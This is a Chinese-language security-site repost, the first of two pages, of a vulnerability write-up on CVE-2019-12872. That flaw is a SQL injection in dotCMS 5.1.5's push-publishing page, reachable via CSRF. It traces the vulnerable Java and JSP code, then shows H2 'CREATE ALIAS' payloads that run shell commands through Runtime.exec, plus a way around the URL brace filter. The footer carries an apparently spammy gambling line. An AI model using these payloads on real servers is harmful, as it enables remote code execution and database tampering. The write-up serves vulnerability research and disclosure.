歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

dotCMS 5.1.5:利用H2 SQL注入實現RCE

來源:本站整理 作者:佚名 時間:2019-06-27 TAG: 我要投稿

在本文中,我們利用由RIPS代碼分析系統發現的一個SQL注入漏洞(CVE-2019-12872),在基于java的內容管理系統dotCMS上實現了遠程代碼執行。
未授權攻擊者可以通過CSRF或者以Publisher角色來利用這個SQL注入漏洞。攻擊者可以執行堆疊SQL查詢(stacked queries),這意味著當目標服務使用的是H2數據庫時,攻擊者有可能篡改任意數據庫條目,甚至執行shell命令。
 
0x01 漏洞分析
dotCMS有個Push Publishing功能,該功能可以將內容從一個服務器遠程發布到另一個服務器,比如從測試環境發布到生產環境。此外,用戶可以將多個內容集合到一個bundle(捆綁包)中,然后直接推送這個bundle,不用單獨推送每個內容。攻擊者可以利用這個功能,將一個bundle推送到發布隊列中,并且注入SQL語句。詳細信息請參考RIPS的掃描報告。
我們可以通過view_unpushed_bundles.jsp文件來查看尚未推送的bundle。攻擊者的入口點可以參考如下代碼片段,其中系統會調用存在漏洞的deleteEndPointById()函數。漏洞利用前提是未發布的bundle需要位于待發布隊列中,否則整個執行流程將不會觸及第7行代碼。然而作為內容發布者,我們可以簡單將bundle推送到隊列中。系統會在代碼第6行,通過HTTP GET或者POST參數delEp接收未過濾的用戶輸入數據,然后將其以參數id傳遞給deleteEndPointById()函數。
代碼源文件:html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp:
...
for(Bundle bundle : bundles){
          hasBundles=true;
      if(null!=request.getParameter("delEp")){
       String id = request.getParameter("delEp");
       pepAPI.deleteEndPointById(id);
      }
    ...
    }
%>
...
deleteEndPointById()函數隨后會調用completeDiscardConflicts(),后者依然會通過參數id來傳遞未過濾的用戶輸入數據。
com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl:
public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {
    public void deleteEndPointById(String id) throws DotDataException {
        ...
        integrityUtil.completeDiscardConflicts(id);
        ...
    }
    ...
}
進一步跟蹤后,我們可以找到discardConflicts()函數(如下所示),其中在第5行,用戶輸入會通過endpointId參數拼接到DELETE查詢語句中。這里沒有任何輸入過濾機制,也沒有預置的安全語句,攻擊者可以將任意SQL語法注入已有的SQL查詢語句中。
com.dotcms.integritycheckers.AbstractIntegrityChecker:
private void discardConflicts(final String endpointId, IntegrityType type)
     throws DotDataException {
   ...
   dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
       + endpointId + "'");
   }
DotConnect類的executeStatement()函數代碼如下所示,其中代碼會使用java.sql.Statement.execute來執行被攻擊者污染的sql字符串。有趣的是,該函數支持堆疊查詢,這意味著我們可以連續執行任意SQL命令。不幸的是,我們不能直接接收執行命令的輸出結果。然而,我們可以通過盲注方式(基于時間或者基于錯誤的方式),或者通過操控任意數據庫條目來讀取數據庫內容。
com.dotmarketing.common.db.DotConnect:
public class DotConnect {
    public boolean executeStatement(String sql) throws SQLException {
        boolean ret = stmt.execute(sql);
    }
}
系統并沒有使用CSRF令牌來保護可以觸發SQL注入的源頭JSP文件。因此,如果未經授權的攻擊者成功誘騙內容發布者訪問攻擊者控制的網站,那么就能利用這個SQL注入漏洞。
 
0x02 利用H2 SQL注入漏洞
默認情況下,DotCMS會捆綁H2數據庫。經過一番研究后,我們發現H2允許用戶定義函數別名,因此可以執行Java代碼。簡單的查詢語句如下所示,該語句可以創建名為REVERSE的函數別名,其中包含我們構造的Java代碼payload。然后我們可以使用CALL語句調用這個別名,執行我們的Java payload。
CREATE ALIAS REVERSE AS
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');
為了實現遠程代碼執行(RCE),攻擊者可以通過java.lang.Runtime.exec()來執行系統命令。
CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');
然而這里我們還面臨最后一個挑戰。dotCMS中有一個URL過濾器,不允許我們在URL中使用花括號({}或者經過URL編碼后的%7b%7d)。由于CREATE ALIAS指令可以使用字符串(String)作為源代碼,因此我們可以成功繞過這個限制。這意味著我們不需要使用$符號,可以使用內置的SQL函數來編碼我們的payload。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.zjtpzs.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        神秘东方电子游艺